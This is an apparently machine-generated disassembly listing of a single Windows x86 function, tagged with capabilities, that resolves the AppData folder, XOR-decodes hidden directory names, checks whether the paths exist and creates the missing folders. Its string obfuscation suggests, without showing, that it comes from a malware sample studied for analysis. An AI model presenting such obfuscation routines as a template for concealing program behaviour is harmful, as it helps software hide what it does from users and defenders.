Function at 0x40f080
Capabilities:
Check if file exists
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50280b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x180
push esi
push edi
mov dword [ebp - 0x70], ecx
push 0x104
lea eax, [ebp - 0x190]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x190]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x24], 0x8383b4a8
xor ecx, ecx
mov dword [ebp - 0x20], 0xbfda8090
mov dword [ebp - 0x1c], 0x8b958e99
mov dword [ebp - 0x18], 0x100716f
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40f107
xorps xmm0, xmm0
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f133
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402810
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x190]
lea ecx, [ebp - 0x6c]
call fcn.00468d20
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40f19a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f190
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40feb5
push ecx
push edx
call fcn.004dbe91
add esp, 8
cmp dword [ebp - 0x58], 0x10
lea esi, [ebp - 0x6c]
push 0x535230
cmovae esi, dword [ebp - 0x6c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40feba
test esi, esi
je 0x40fe1b
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f1e0
sub ecx, edx
je 0x40fe1b
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f219
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f219
cmp eax, 0x20
je 0x40f219
cmp eax, 0x45
je 0x40f219
cmp eax, 0x24
jne 0x40fe1b
push 0x535230
call fcn.004db1a3
add esp, 4
mov dword [ebp - 0x34], 0x8383b4a8
mov dword [ebp - 0x30], 0x1008090
xor ecx, ecx
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 6
jb 0x40f236
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f250
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebx + 0x18]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x40fec0
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x34]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x88]
call fcn.0046c790
mov byte [ebp - 4], 4
lea esi, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push 0x535230
cmovae esi, dword [ebp - 0x88]
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40fec5
test esi, esi
je 0x40f301
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f2c1
sub ecx, edx
je 0x40f301
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f2f2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f2f2
cmp eax, 0x20
je 0x40f2f2
cmp eax, 0x45
je 0x40f2f2
cmp eax, 0x24
jne 0x40f301
push 0x535230
call fcn.004db1a3
add esp, 4
jmp 0x40f330
push 0x535230
call fcn.004db1a3
add esp, 4
lea eax, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
cmovae eax, dword [ebp - 0x88]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fde2
mov dword [ebp - 0x38], 0x9398bca8
xor ecx, ecx
mov dword [ebp - 0x34], 0x9f9f819d
mov dword [ebp - 0x30], 0x100bfb8
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40f347
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f360
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x40fecb
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046c790
mov byte [ebp - 4], 5
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x535230
cmovae esi, dword [ebp - 0x54]
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40fed0
test esi, esi
je 0x40f404
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f3c3
sub ecx, edx
je 0x40f404
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f3f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f3f4
cmp eax, 0x20
je 0x40f3f4
cmp eax, 0x45
je 0x40f3f4
cmp eax, 0x24
jne 0x40f404
push 0x535230
call fcn.004db1a3
mov byte [ebp - 0x11], 1
jmp 0x40f412
push 0x535230
call fcn.004db1a3
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40f44d
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f443
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40fed6
push ecx
push edx
call fcn.004dbe91
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x40f6bb
mov dword [ebp - 0x38], 0x9398bca8
xor ecx, ecx
mov dword [ebp - 0x34], 0x9f9f819d
mov dword [ebp - 0x30], 0x100bfb8
nop
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40f470
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f487
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x40fedb
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046c790
mov byte [ebp - 4], 6
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x535230
cmovae esi, dword [ebp - 0x54]
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40fee0
test esi, esi
je 0x40f530
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f4f0
sub ecx, edx
je 0x40f530
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f521
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f521
cmp eax, 0x20
je 0x40f521
cmp eax, 0x45
je 0x40f521
cmp eax, 0x24
jne 0x40f530
push 0x535230
call fcn.004db1a3
add esp, 4
jmp 0x40f559
push 0x535230
call fcn.004db1a3
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40f683
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x20], 0x9398bca8
mov dword [ebp - 0x1c], 0x9f9f819d
mov dword [ebp - 0x18], 0x100bfb8
nop dword [eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xa
jb 0x40f590
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f5b0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x40fee6
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x20]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046c790
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 6
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x40f603
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x40f683
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f628
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.0040ba90
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x40f683
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f679
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40feeb
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40f6bb
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f6b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40fef0
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov dword [ebp - 0x24], 0x9499b9a8
xor ecx, ecx
mov dword [ebp - 0x20], 0xa8da9599
mov dword [ebp - 0x1c], 0x9e8c9288
mov dword [ebp - 0x18], 0x1006467
nop dword [eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40f6e0
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f6f7
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x40fef5
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046c790
mov byte [ebp - 4], 9
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x535230
cmovae esi, dword [ebp - 0x54]
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40fefa
test esi, esi
je 0x40f7a1
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f760
sub ecx, edx
je 0x40f7a1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f791
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f791
cmp eax, 0x20
je 0x40f791
cmp eax, 0x45
je 0x40f791
cmp eax, 0x24
jne 0x40f7a1
push 0x535230
call fcn.004db1a3
mov byte [ebp - 0x11], 1
jmp 0x40f7af
push 0x535230
call fcn.004db1a3
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40f7ea
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f7e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff00
push ecx
push edx
call fcn.004dbe91
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x40fa6b
mov dword [ebp - 0x24], 0x9499b9a8
xor ecx, ecx
mov dword [ebp - 0x20], 0xa8da9599
mov dword [ebp - 0x1c], 0x9e8c9288
mov dword [ebp - 0x18], 0x1006467
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40f812
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f830
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x40ff05
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046c790
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x535230
cmovae esi, dword [ebp - 0x54]
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40ff0a
test esi, esi
je 0x40f8e0
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f8a0
sub ecx, edx
je 0x40f8e0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f8d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f8d1
cmp eax, 0x20
je 0x40f8d1
cmp eax, 0x45
je 0x40f8d1
cmp eax, 0x24
jne 0x40f8e0
push 0x535230
call fcn.004db1a3
add esp, 4
jmp 0x40f909
push 0x535230
call fcn.004db1a3
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fa33
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0x24], 0x9499b9a8
mov dword [ebp - 0x20], 0xa8da9599
mov dword [ebp - 0x1c], 0x9e8c9288
mov dword [ebp - 0x18], 0x1006467
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40f940
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f960
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x40ff10
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046c790
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xa
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x40f9b3
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x40fa33
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f9d8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xc
call fcn.0040ba90
mov byte [ebp - 4], 0xa
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x40fa33
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fa29
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff15
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fa6b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fa61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff1a
push ecx
push edx
call fcn.004dbe91
add esp, 8
movaps xmm0, xmmword [0x524ad0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
nop
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x40fa80
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fa97
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x40ff1f
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046c790
mov byte [ebp - 4], 0xd
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x535230
cmovae esi, dword [ebp - 0x54]
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40ff24
test esi, esi
je 0x40fb41
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fb00
sub ecx, edx
je 0x40fb41
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fb31
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fb31
cmp eax, 0x20
je 0x40fb31
cmp eax, 0x45
je 0x40fb31
cmp eax, 0x24
jne 0x40fb41
push 0x535230
call fcn.004db1a3
mov byte [ebp - 0x11], 1
jmp 0x40fb4f
push 0x535230
call fcn.004db1a3
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fb8a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fb80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff2a
push ecx
push edx
call fcn.004dbe91
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x40fde2
movaps xmm0, xmmword [0x524ad0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x40fba7
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fbc0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x40ff2f
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046c790
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x535230
cmovae esi, dword [ebp - 0x54]
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40ff34
test esi, esi
je 0x40fc70
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc30
sub ecx, edx
je 0x40fc70
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fc61
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fc61
cmp eax, 0x20
je 0x40fc61
cmp eax, 0x45
je 0x40fc61
cmp eax, 0x24
jne 0x40fc70
push 0x535230
call fcn.004db1a3
add esp, 4
jmp 0x40fc99
push 0x535230
call fcn.004db1a3
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fdae
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0xf
xor ecx, ecx
movaps xmm0, xmmword [0x524ad0]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x40fcc5
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fce4
sub ecx, edx
mov edx, dword [ebp - 0x5c]
sub edi, edx
cmp edi, ecx
jb 0x40ff3a
cmp dword [ebp - 0x58], 0x10
lea edi, [ebp - 0x26]
push ecx
push edi
push edx
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046c790
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xe
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x40fd32
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x40fdae
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd57
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x10
call fcn.0040ba90
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x40fdae
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fda4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff3f
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fde2
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fdd8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff44
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x40fe28
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fe0f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff49
push ecx
push edx
call fcn.004dbe91
add esp, 8
jmp 0x40fe28
push 0x535230
call fcn.004db1a3
add esp, 4
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x40fe5c
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fe52
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff4e
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 0x10
jb 0x40fea2
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fe98
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff4e
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1130
push eax
call fcn.004dae3b
call fcn.00402040
push eax
call fcn.004dae3b
call fcn.00402040
push eax
call fcn.004dae3b
call fcn.004e1130
call fcn.00402040
push eax
call fcn.004dae3b
call fcn.00402040
call fcn.004e1130
call fcn.004e1130
call fcn.00402040
push eax
call fcn.004dae3b
call fcn.004e1130
call fcn.00402040
push eax
call fcn.004dae3b
call fcn.00402040
call fcn.004e1130
call fcn.004e1130
call fcn.00402040
push eax
call fcn.004dae3b
call fcn.004e1130
call fcn.00402040
push eax
call fcn.004dae3b
call fcn.00402040
call fcn.004e1130
call fcn.004e1130
call fcn.004e1130
call fcn.004e1130
int3